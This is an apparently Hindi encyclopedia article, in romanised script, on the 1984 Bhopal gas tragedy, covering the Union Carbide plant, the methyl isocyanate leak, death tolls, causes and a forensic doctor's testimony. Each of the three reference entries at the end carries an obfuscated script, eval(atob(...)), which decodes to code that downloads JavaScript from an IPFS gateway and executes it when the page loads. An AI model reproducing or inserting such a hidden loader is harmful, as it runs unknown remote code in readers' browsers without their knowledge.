भोपाल गैस त्रासदी

भारत डिस्कवरी प्रस्तुति
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bhopal gais trasadi
vivaran 'bhopal gais trasadi' bharat mean ghatit sabase b di gaisiy durghatana thi. is durghatana mean bhopal ke hazaroan nirdosh log mare ge aur kafi sankhya mean log apangata aur aandhepan ke shikar hue.
durghatana tithi 02 aur 03 disambar san 1984
rajy madhy pradesh
shahar bhopal
karak mithail aiso sainait
mritak sankhya jis rat durghatana ghati, tin hazar vyakti usi rat mar ge aur is ghatana ke bad guzare tin haftoan mean aur 07 se 10 hazar vyaktiyoan ki mrityu ho gee. durghatana ke bad mare kul mritakoan ki sankhya kam se kam 18 hazar bataee jati hai.[1]
any janakari is gaisiy durghatana se hazaroan log buri tarah prabhavit hue. ve n sirf zaharili gais se hi pi dit hue, balki unhean karakhane ke pas base ilakoan se apane gharabar chho dane p de. bahut-se log sthaee taur par bimariyoan se grast ho ge.

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bhopal gais trasadi (aangrezi: Bhopal disaster) bharat mean madhy pradesh rajy ke bhopal shahar mean ghatit vah b di durghatana thi, jisamean hazaroan logoan ne apani jan ganva di. 02 aur 03 disambar san 1984 ko bhopal mean ek bhayanak audyogik durghatana huee. ise hi "bhopal gais kaand" ya "bhopal gais trasadi" ke nam se jana gaya. bhopal sthit 'yooniyan karbaid' namak kanpani ke karakhane se 'mithail aiso sainait' (mik) namak ek zaharili gais ka risav hua, jisase kitanashak banaya jata hai. is gais ke risav se lagabhag 15000 se adhik logoan ki jan gee tatha bahut sare log anek tarah ki sharirik apangata se lekar aandhepan ke shikar hue.

'yooniyan karbaid' ki sthapana

bahurashtriy kampani 'yooniyan karbaid' ke mukhy karyakari adhikari varen eandarasan ne vishv ke any desh, prantoan, pradeshoan ki tarah bhopal mean bhi ek atyant adhunik, suraksha aur utpadan ke shirsh mayanoan par khara utarate rasayanik kitanashak utpadan ki mahatvakaanksha vala karakhana sthapit kiya tha. yooniyan karbaid ki behatarin kitanashak utpadan pranali bazar ke sath samanjasy sthapit nahian kar paee aur isake karakhane ko anumanit arthalabh ki apeksha arthik nukasan uthana p da, jisaka kanpani ki utpadan pranali, suraksha manakadand aur upakaranoan ke anurakshan par pratikool prabhav p da.[2]

mithayal aiso sayanaid ka risav

03, 1984 ki ratri ko yooniyan karbaid ke utpadan niyantran kaksh mean baithe sthaee karmachariyoan ko kuchh rasayanik risav ki shanka huee. upasthit karmachari ne tatkal hi bhoomigat rasayan bhandaran taiank ka nirikshan kiya to unhean vahaan rasayan 'mithayal aiso sayanaid' ka mamooli-sa risav mila, jise unhoanne dainik surakshit rasayan risav ke chhitaput roop mean liya. par dekhate hi dekhate is rasayanik risav ne vikaral roop le liya. kuchh hi der mean mithayal aiso sayanaid ke ghatak vashpoan ne bhopal shahar ke vayumandal mean pravesh le liya. apatakalin samay ki ganbhirata ne karmachariyoan ko majaboor kiya ki shighr hi apatakalin suraksha pranali ka upayog kar samasya ka nidan kiya jae.

risav rokane ke prayas
  1. sabase pahale vahaan karyarat karmachariyoan ne rasayanik veant skrabar ka istemal kiya, jisaka kam asurakshit gais ko kshariy jal mean gholakar vayumandal mean jane se rokana hai; par mithayal aiso sayanaid ke aniyantrit gais risav ke vishal badal isase aprabhavit rahe.
  2. yooniyan karbaid ne aisi vyavastha ki thi ki yadi kisi karanavash veant skrabar asaphal hota hai to tatpashchath ‘prajjvalan kalam’ mean pravesh kar rahi is bhayanak gais ko eedhan ke roop mean jalakar vayumandal mean jane se roka ja sake. par yah prayas bhi viphal raha.[2]
  3. tisara tatha aantim prayas jal agnishaman ke simit laghu sansadhanoan ke jal chhi dakav ke roop mean raha aur yah prayas bhi viphal raha.

mritak aank da

[[chitr:Union-Carbide-Pesticide-Factory-Bhopal.jpg|thumb|left|250px|yooniyan karbaid kampani, bhopal]] dekhate hi dekhate mithayal aiso sayanaid ke ghatak vashpoan ne riyayashi kshetroan mean apana prakop dikhana shuroo kar diya. logoan ke pheph doan, aantoan, aankhoan mean yah jaharila rasayan sama gaya. masoom bachche, boodhe, javan sabhi ulti, aankhoan mean jalan, saans lene mean dikkat ki ghatak samasya se joojhane lage. nirdosh janata ne akaran t dap-t dap kar pran tyagana shuroo kar diya. upachar karane vale chikitsak ko kabhi amoniya gais, kabhi phosjin gais ke risav ki galat aur ati kroor suchana di gee, jisane upacharadhin logoan aur chikitsak donoan ko gumarah kiya.

'yooniyan karbaid kampani' ke karakhane se risi gais ki vajah se mare ge logoan ki thik-thik sankhya aj bhi vibhinn srotoan ke anusar bhinn-bhinn bataee jati hai. bas, itana hi maloom hai ki jis rat durghatana ghati, tin hazar vyakti usi rat mar ge aur is ghatana ke bad guzare tin haftoan mean aur 07 se 10 hazar vyaktiyoan ki mrityu ho gee. durghatana ke bad mare kul mritakoan ki sankhya kam se kam 18 hazar bataee jati hai. kuchh any srotoan ke anusar, durghatana ke bad kam se kam tis hazar vyakti maut ki god mean chale ge. isake alava lakhoan log is durghatana se buri tarah prabhavit hue. ve n sirf zaharili gais se hi pi dit hue, balki unhean karakhane ke pas base ilakoan mean apane gharabar chho dane p de. bahut-se log sthaee taur par bimariyoan se grast ho ge. isake alava is vishay mean to koee adhyayan hi nahian kiya gaya hai ki ane vali pidhiyoan par is durghatana ka kya anuvaanshik asar p d raha hai. lekin durghatana ke bad bhopal ke ilake mean manasik taur par aur sharirik taur par vikalaang paida hone vale bachchoan ki sankhya mean bhari vriddhi ho gee. rediyo spootanik ke visheshajn baris valakhonski ke anusar- "pichhali sadi ke nauvean dashak ke ant mean yooniyan karabaid ne adalat ke bahar samajhauta karake is durghatana ke pi ditoan ko 47 karo d d aaular ka muavaja diya, jo usake viruddh kie ge davoan ka sirf 14 pratishat raqam ke barabar hai. har pi dit vyakti mean is dhanarashi ko barabar-barabar baanta jae to ek vyakti ko ek hazar se bhi kam d aaular milate haian. yah muavaja behad kam hai. us durghatana ke kuparinamoan ko aj tak door nahian kiya gaya hai aur unaka aj tak sthaniy janata ke svasthy aur jivan par nakaratmak asar p d raha hai."[1]

durghatana ke karak

thumb|250px|kampani sthit taiank nan. 610 doosari or rajanitik galiyaroan mean halachal chalu ho gee, jo bas dikhave matr ki thi. varen eandarasan ko bharat ate hi giraphtar kar liya gaya aur apane hi gest haus mean use kisi shahi mehaman ki tarah rakha gaya. kuchh hi dinoan mean jamanat lekar vah apane svadesh laut gaya. yahaan yah janana har bharatiy ke lie avashyak ho jata hai ki akhir is durghatana ne itana vikaral roop kaise le liya. ek videshi sanstha ne lakh pratibandh ke bad bhi gupt roop se jo jaanch ki, usame nimnalikhit karak samane aye-

  1. 'mithayal aiso sayanaid' ka bhandaran taral roop mean prashitan (thande) madhyam mean kiya jata hai, par arthik nukasan ke chalate ise anadekha kar diya gaya tha.
  2. kshamata se adhik 'mithayal aiso sayanaid' ka bhandaran. jis samay durghatana huee, tab kampani ke pas 42 tan mithayal aiso sayanaid ka bhandar tha, jabaki suraksha manakoan ke anusar 30 tan mithayal aiso sayanaid ka bhandaran hi hona chahiy tha.
  3. mithayal aiso sayanaid ki prakati ke anusar yadi isamean koee ashuddhata mishrit ho jae to yah khataranak ekzothirmik pratikriya ka roop le leta hai. yahi hua bhi, kyoanki arthik bajat ke niyantran ke chalate prabandhan ne meantenaians suparavaeejar ko nikal diya tha aur ek hi upakaran kee prakriyaoan mean istemal hone laga, jisane kisi tarah pani aur ayaran jang ko mithayal aiso sayanaid taiank ke bhitar pahuancha diya.[2]
  4. upakaran niyantrak naitrojan valv ka kharab hona.
  5. rasayanik veant skrabar, prajjvalan kalam, jal agnishaman yantroan ki kshamata ka kamazor aur kharab hona.

d aauktar deth

thumb|200px|bhopal gais trasadi mean mrit ek balak yooan to sarakari aank da sadhe tin hazar lashoan tak pahuancha, lekin gairasarakari aank da kahata hai ki marane vale das hazar se jyada the. jahar ke asar se log aj tak mar rahe haian aur age bhi mareange, lekin yooniyan karbaid ka shaitan taiank nanbar 610 aj bhi vahian kh da hai. is taiank ka dhakkan 'bi.ech.ee.el.' (BHEL) ke ianjiniyaroan ne band to kar diya, lekin mithayal aeeso sayanaid ka shaitan ab bhi azad hai aur bhopal ki ragoan mean dau d raha hai. kahate haian isane ab tak 40 hazar janean li haian. age aur kitani janean lega koee nahian janata. jo bemaut mare ge, jinake apane unase juda ho ge, unhean akhiri iansaph kabhi milega bhi ya nahian, koee nahian janata. lekin tarikh ke kale pannoan mean bhopal ki vah jaharili rat hamesha ke lie darj rahegi. 4000 se adhik lashean shahar ki sarajamian par bichhi thian. un khauphanak paloan ke sabase b de gavah haian- d aauktar deth. bhopal ke log unako isi nam se janate haian.[3]

d aauktar deth ke lie bhi un dard ke lamhoan ko dobara jina asan nahian ki kaise pahale manavata par gais ka kahar par toota tha. us roj ek hi din mean unhoanne 780 lashoan ka postam aaurtam kiya. ek haphte mean 3 hazar lashoan ke sath chirapha d karane ke bad maut unaki aankhoan ke samane nachati thi. vibhag mean tin-char log the. sarakar se paramishan li ki sabaka postam aaurtam nahian kareange. ve hi aise shakhs haian, jinhoanne pahali bar duniya ko yooniyan karbaid ke kilar taiank nanbar 610 ka sach bataya tha; kyoanki kilar taiank nanbar 610 se nikali gais ka vishleshan kiya gaya to usamean se ve padarth mile jo lashoan par bhi paye gaye the. matalab gais kahian aur se nahian, usi taiank se aee thi.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  1. ↑ 1.0 1.1 bhopal gais trasadi ki tisavian varshi (hindi) rediyo spootanik. abhigaman tithi: 28 janavari, 2016.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. ↑ 2.0 2.1 2.2 bhopal gais trasadi-sharmanak rashtriy durghatana (hindi) jagaran jankshan. abhigaman tithi: 28 janavari, 2016.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  3. ↑ jab hil utha deshah bhopal gais kaand (hindi) aeebien bhaskar. abhigaman tithi: 28 janavari, 2016.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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